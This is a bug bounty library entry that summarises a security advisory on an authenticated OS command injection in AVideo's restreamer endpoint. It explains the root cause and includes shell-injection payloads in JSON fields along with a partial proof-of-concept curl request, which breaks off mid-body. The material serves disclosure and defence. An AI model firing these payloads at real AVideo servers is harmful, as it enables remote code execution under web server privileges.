# AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path

AVideo restreamer builds a log file path from unsanitized users_id/liveTransmitionHistory_id JSON fields, then concatenates it into exec(), giving authenticated users OS command injection.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-03-25
- CVE: CVE-2026-33648
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-5m4q-5cvx-36mw
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-5m4q-5cvx-36mw
- Tags: area:web domain:web impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:php technique:source-review vuln:command-injection vuln:rce

**Target:** PHP restreamer endpoint (restreamer.json.php) exec() log redirection
**Root cause:** User-controlled users_id and liveTransmitionHistory_id from the JSON body are embedded into a log file path without sanitization, and that path is concatenated into shell commands passed to exec() without escapeshellarg().
**Steps:**
1. Authenticate and obtain a valid live streaming/restream token.
2. POST to `/plugin/Live/standAloneFiles/restreamer.json.php` with JSON body containing `"users_id": "x$(id > /tmp/pwned)x"` alongside valid token, m3u8, restreamsDestinations, restreamsToken.
3. The log path becomes `ffmpeg_restreamer_x$(id > /tmp/pwned)x_<date>.log` and is passed to `exec($command . ' > ' . $logFile . ' 2>&1 &')`, executing the subshell.
4. Retrieve output via `curl https://TARGET/tmp/pwned`.
5. Alternatively inject via `"liveTransmitionHistory_id": "1$(whoami > /tmp/pwned2)1"`.
**How found:** Code review of restreamer.json.php data flow: noticed stream URLs were sanitized via clearCommandURL() and pgrep patterns used escapeshellarg(), but the adjacent log file path built from users_id/liveTransmitionHistory_id was left unsanitized before exec().
**Exploitation:** An authenticated user with restream permissions sends a crafted JSON body; the injected `$()`/backtick payload in users_id or liveTransmitionHistory_id executes in the shell spawned by exec() with web server privileges, allowing file read, data exfiltration, lateral movement, and backdoor installation.
**Escalation:** Open registration on many deployments lowers the auth barrier, making the PR:L requirement effectively low.
**Insight:** When a codebase hardens one shell argument (URLs, pgrep patterns) but builds a log/redirect path from other request fields, audit every string concatenated into exec() — redirection targets are a commonly overlooked injection sink.

## Proof of concept (copied exactly from the original report)

**curl request injecting $() in users_id**

```
curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
  -H "Content-Type: application/json" \
  -d '{
    "token": "VALID_TOKEN",
    "m3u8": "https://example.com/stream.m3u8",
    "restreamsDestinations": ["rtmp://example.com/live/key"],
    "restreamsToken": ["VALID_TOKEN"],
    "users_id": "x$(id > /tmp/pwned)x",
```

